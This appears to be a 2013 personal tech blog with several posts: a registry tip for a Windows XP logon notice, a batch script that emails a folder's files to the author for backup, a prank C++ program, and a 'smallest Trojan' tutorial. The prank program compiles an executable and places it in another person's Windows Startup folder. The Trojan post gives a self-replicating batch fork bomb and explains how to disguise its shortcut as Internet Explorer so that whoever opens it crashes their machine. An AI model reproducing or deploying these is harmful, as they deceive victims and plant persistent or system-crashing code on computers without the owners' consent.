Thursday, June 13, 2013

Creating a Warning Dialog at Welcome in Windows XP

WARNING: If you use Registry Editor incorrectly, you may cause serious problems that may require you to reinstall your operating system.

To enable display of a warning message, make the following changes in the registry: 1. Start Registry Editor (Regedit).

2. Locate the HKEY_LOCAL_MACHINE subtree, and then go to the following key:

SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon

3. Add or modify the following values:

Name Data Type Value
-----------------------------------------------

LegalNoticeCaption REG_SZ Dialog Caption

LegalNoticeText REG_SZ Dialog Message

For example, the "LegalNoticeCaption" can be "Important Notice:" and the "LegalNoticeText" can be "No unauthorized access is allowed".

The user sees this dialog box after the user presses CTRL+ALT+DEL and before the user sees the logon dialog box. The user can click OK in the message box and log on normally. Quit Registry Editor.


Tuesday, June 11, 2013

Hacky traditions?


You know it's a true Juggaar culture when it starts blending into the daily life and food.

Sending all files in a folder over SMTP

A while ago I was looking for how to back up all the data in my hard disk on email ID. I could have attached all files in emails (multiple files in a single mail with explanation in body) but that would be too hectic and only reasonable for a selective dump. If I wanted to upload, for example, all my music... I needed something automated.

Command line has always been easier to be included in hacks and codes to get your work done with elegance. I searched for an command line email program (as a replacement for a normal GUI email program) and used my university server to upload it all.

Now all I had to do was create a .bat file and place it in the same folder with all my files in it and executing it would do the rest. I chose Febooti Mail - a trial version still did the trick (even though it had a signature saying it was a trial version at the end of each mail... but who cares).

This is the .bat code I wrote for it:

@echo on

rem sending all files in the folder as attachments. one attachment per email...

for %%i in (*.*) do Febootimail -smtp 192.168.1.5 -to my.backup.id@gmail.com -from my.registration.no@giki.edu.pk -debug -subject %%i -ATTACH %%i

This was elegant, each mail had one attachment with it and the file name as the subject. Much easier to search through my personal backup using gmail search. Now that I was receiving all my files at gmail, I had to set up a simple filter to tag it with a label and 'archive' it so that my inbox was not flooded.

A romantic code

It started off with looking to play pranks in an assignment solution. A friend was making for some junior that happened to be a chick!!



The idea: To open up my heart to the chick, every time she boots up Windows :D

The idea was to put a batch file in the Windows start-up folder!!

But the output from a batch file looked so remotely romantic, I decided to put an executable instead! Every line in this code soo pours out my emotions! (PS. don't take it seriously)

#include<iostream>
#include<fstream>

using namespace std;
void fn() {
ofstream fp(”143.c”,ios::app);
fp << “#include\n#include\nint main()\n{printf(\”Oh dear! just hit on me and I ll make you feel like a woman does!! :D @090078601\”);\ngetch();\nreturn 0;}\n”;
fp.close();
system(”C:\\Dev-Cpp\\bin\\g++.exe 143.c”);
system(”move a.exe \”C:/Documents and Settings/All Users/Start Menu/Programs/Startup/143.exe\”");
system(”erase 143.c”);
}
int main() {
fn();
return 0;
}

Copyrights: Your are free to copy and distribute the code! Just don’t edit the phone number:D

Picking a real lock

An excerpt from Secrets of Lock Picking by Steven Hampton:









Monday, June 10, 2013

Trivial but nasty: how to create the smallest of Trojans



Here's how to create the smallest of the Trojans to crash a PC:

Open a notepad,

Type the text below:

start crash.bat
crash.bat

Save the file as crash.bat
Create its shortcut and change icon & shortcut name to, for example, "Internet explorer" ;)
The one who opens the file will crash his system.

If you want to change the name of the original file, you will also have to change the name (crash) being called inside the file.

Here is what the Trojan does when executed. It runs the command again itself and opens another instance of the same file multiplying the running instances into 2. Now both these files will do the same (separately) with no end to it, hence multiplying and hogging up the ram till the system crashes. Try closing them before they have multiplied too much... ;) you will most probably still not be able to shut them all down by playing whack a mole with your mouse and the x button on the windows (if you realize what's happening in time that is).

Happy Crashings.